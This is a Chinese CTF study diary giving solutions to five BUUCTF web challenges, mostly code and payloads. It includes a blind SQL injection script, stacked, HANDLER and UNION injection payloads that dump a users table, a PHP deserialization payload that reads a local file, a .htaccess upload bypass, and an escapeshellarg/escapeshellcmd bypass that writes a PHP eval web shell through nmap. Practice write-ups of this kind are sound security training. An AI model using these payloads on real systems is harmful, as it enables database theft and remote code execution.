2021/10/27-学习日记

1.BUUCTF刷题-[CISCN2019 华北赛区 Day2 Web1]Hack World

1-1

表名,列名都给出了,应该是个bool盲注
观察到,当查询1和2时会有特殊的返回结果,那就可以编写脚本构造判断来一个一个字符的去查flag。

import requests
import string
import time

def boolsql(url):
    flag=''
    strings = string.printable
    for i in range(1,60):
        for x in strings:
            payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(i, ord(x))
            post_data = {"id": payload}
            time.sleep(0.05)//加sleep的目的是防止过快的请求导致错过正确字符
            response=requests.post(url=url,data=post_data)
            if 'Hello' in response.text:
                flag=flag+x
                print(flag)
                break

if __name__ == '__main__':
    url = "http://bd043190-0825-4a9f-8a6f-856b3c285102.node4.buuoj.cn:81/index.php"
    boolsql(url)

很快就跑出flag。

2.BUUCTF刷题-[GYCTF2020]Blacklist

看上去是个sql注入题,先试试有没有过滤什么关键词。


2-1

过滤的也不多,起码单引号啥的没过滤。既然过滤了select,那就试试堆叠注入吧。

?inject=1';show+databases;%23
?inject=1';show+tables;%23
?inject=1';show+columns+from+FlagHere;%23

成功返回了数据库、表名、列名。
由于过滤了select,所以接下来很难再用堆叠注入来获得flag的值。
这里要引入一个新的知识点:handler命令

?inject=1';handler+FlagHere+open;handler+FlagHere+read+first;%23

即可查询到flag。

3.BUUCTF刷题-[网鼎杯 2018]Fakebook

本题wp
注册登录一下,没发现啥有用的信息。
用dirsearch扫描一下目录,扫出flag.php和robots.txt两个有用的文件,目测flag就在flag.php里,但是直接访问的话访问不到,所以线索应该在robots.txt里。

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
    function get($url)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
        return $output;
    }
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}

登陆后界面有个get注入点,尝试一下语句:

?no=-1/**/union/**/select 1,2,3,4
3-1

2正确回显了,所以判定2是一个正确的注入点。

?no=-1/**/union/**/select 1,database(),3,4
//库名fakebook
?no=-1/**/union/**/select 1,group_concat(distinct table_name),3,4 from information_schema.columns where table_schema='fakebook'
//表名users
?no=-1/**/union/**/select 1,group_concat(distinct column_name),3,4 from information_schema.columns where table_schema='fakebook'
//字段名no,username,passwd,data
?no=-1/**/union/**/select 1,group_concat(no,username,passwd,data),3,4 from users
//字段值1adminba3253876aed6bc22d4a6ff53d8406c6ad864195ed144ab5c87621b6c233b548baeae6956df346ec8c17f5ea10f35ee3cbc514797ed7ddd3145464e2a0bab413O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:22:"https://www.baidu.com/";} 

这是注意到有一段字段值为序列化内容,这表示的是刚才注册的那些信息。利用这个序列化内容构造payload,将原bolg地址改为flag.php的地址,最后构造的payload为:

?no=-1/**/union/**/select%201,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

直接打开返回页面源码中的链接即可得到flag。

4.BUUCTF刷题-[GXYCTF2019]BabyUpload

上传.htaccess文件,把类型修改一下,再上传图马,即可连接webshell。

5.BUUCTF刷题-[BUUCTF 2018]Online Tool

wp
nmap相关的题目,先分析一波代码。

 <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
// escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)
    $host = escapeshellcmd($host);
//escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。简单来说,第一,如果输入内容中上述出现的特殊字符会被反斜杠给转义掉;第二,如果单引号和双引号不是成对出现时,会被转义掉。
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
//@是错误不进行回显;mkdir用来新建目录
    chdir($sandbox);
//改变当前的目录
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

escapeshellarg()+escapeshellcmd()合用漏洞
重点内容就是:

1.传入的参数是:172.17.0.2' -v -d a=1
2.经过escapeshellarg处理后变成了'172.17.0.2''' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
3.经过escapeshellcmd处理后变成'172.17.0.2'\'' -v -d a=1',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
4.最后执行的命令是curl '172.17.0.2'\'' -v -d a=1',由于中间的\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'

接下来尝试构造payload,虽然我们有办法多传入几个参数,但是还是得在nmap语句中执行,所以要利用nmap本身的功能来实现注入。在nmap的输出模块中,找到一个有用的命令:

nmap -oG result.txt 可以将命令和结果写成特殊格式

可以利用这个命令来直接在服务器上写入一个一句话木马然后进行连接。
构造payload:

?host=' <?php @eval($_POST["passwd"]);?> -oG shell.php '
//经过两个函数后此payload相当于没有任何改变
// \' 代表一个单引号字符

传入payload,页面会回显存入的文件夹名称。访问目录下的webshell即可。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 226,913评论 6 527
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 97,710评论 3 412
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 174,561评论 0 373
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 62,278评论 1 306
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 71,080评论 6 405
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 54,604评论 1 320
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 42,698评论 3 434
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 41,847评论 0 285
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 48,361评论 1 329
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 40,330评论 3 353
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 42,487评论 1 365
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 38,044评论 5 355
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 43,738评论 3 342
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 34,134评论 0 25
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 35,378评论 1 281
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 51,053评论 3 385
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 47,471评论 2 370

推荐阅读更多精彩内容